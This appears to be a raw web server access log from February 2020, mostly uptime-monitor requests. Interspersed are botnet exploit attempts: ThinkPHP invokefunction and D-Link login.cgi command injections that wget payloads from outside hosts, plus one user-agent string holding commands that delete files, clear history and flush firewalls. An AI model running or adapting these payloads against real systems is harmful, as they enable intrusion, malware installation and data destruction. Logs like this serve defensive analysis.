212.91.246.72 - - [22/Feb/2020:20:18:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:19:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:20:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:21:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:22:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:23:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:24:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:25:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.78.178.104 - - [22/Feb/2020:20:26:29 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:20:26:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:27:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:28:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:29:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:30:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
173.76.38.236 - - [22/Feb/2020:20:30:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:20:31:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:32:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.176.81.67 - - [22/Feb/2020:20:33:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:20:33:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:34:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:35:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:36:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.20.26.170 - - [22/Feb/2020:20:37:00 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:20:37:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:38:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:39:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:40:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.68.167.164 - - [22/Feb/2020:20:40:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
177.68.167.164 - - [22/Feb/2020:20:40:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
196.65.199.29 - - [22/Feb/2020:20:41:05 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:20:41:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.63.72.113 - - [22/Feb/2020:20:42:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:20:42:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:43:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:44:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:45:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:46:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:47:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:48:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.119.197 - - [22/Feb/2020:20:48:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [22/Feb/2020:20:49:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:50:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.51.133.234 - - [22/Feb/2020:20:51:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:20:51:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:52:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:53:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:54:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:55:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:56:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:57:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:58:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:20:59:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:00:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.73.186.41 - - [22/Feb/2020:21:01:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:21:01:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:02:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:03:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:04:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:05:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:06:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:07:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:08:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:09:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:10:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.42.89.193 - - [22/Feb/2020:21:11:09 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:21:11:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:12:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.114.192.235 - - [22/Feb/2020:21:12:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [22/Feb/2020:21:13:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:14:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:15:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:16:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:17:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:18:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:19:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:20:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:21:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:22:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:23:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:24:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:25:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:26:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:27:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.59.188.118 - - [22/Feb/2020:21:28:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [22/Feb/2020:21:28:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:29:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:30:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:31:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:32:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:33:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:34:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:35:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:36:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.124.162.73 - - [22/Feb/2020:21:36:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:21:37:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:38:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:39:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:40:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:41:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.9.227.124 - - [22/Feb/2020:21:42:32 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:21:42:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:43:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.106.26.146 - - [22/Feb/2020:21:44:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://172.245.6.129/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:21:44:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:45:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:46:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.240.103.155 - - [22/Feb/2020:21:47:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [22/Feb/2020:21:47:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [22/Feb/2020:21:47:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [22/Feb/2020:21:47:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [22/Feb/2020:21:47:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [22/Feb/2020:21:48:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [22/Feb/2020:21:48:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:21:48:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:49:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:50:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.86 - - [22/Feb/2020:21:51:02 +0100] "GET /robots.txt HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.88 - - [22/Feb/2020:21:51:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [22/Feb/2020:21:51:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.128.41.50 - - [22/Feb/2020:21:52:05 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Java/1.8.0_131"
185.128.41.50 - - [22/Feb/2020:21:52:24 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Java/1.8.0_131"
212.91.246.72 - - [22/Feb/2020:21:52:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:53:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:54:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:55:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.128.41.50 - - [22/Feb/2020:21:56:15 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Java/1.8.0_131"
212.91.246.72 - - [22/Feb/2020:21:56:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.128.41.50 - - [22/Feb/2020:21:57:43 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Java/1.8.0_131"
79.12.39.28 - - [22/Feb/2020:21:57:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:21:57:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:58:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:21:59:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:00:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.128.41.50 - - [22/Feb/2020:22:01:07 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Java/1.8.0_131"
212.91.246.72 - - [22/Feb/2020:22:01:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:02:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:03:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.128.41.50 - - [22/Feb/2020:22:04:38 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Java/1.8.0_131"
212.91.246.72 - - [22/Feb/2020:22:04:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:05:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:06:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:07:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.105.170.120 - - [22/Feb/2020:22:08:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:22:08:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:09:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:10:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.45.121.69 - - [22/Feb/2020:22:11:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:22:11:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
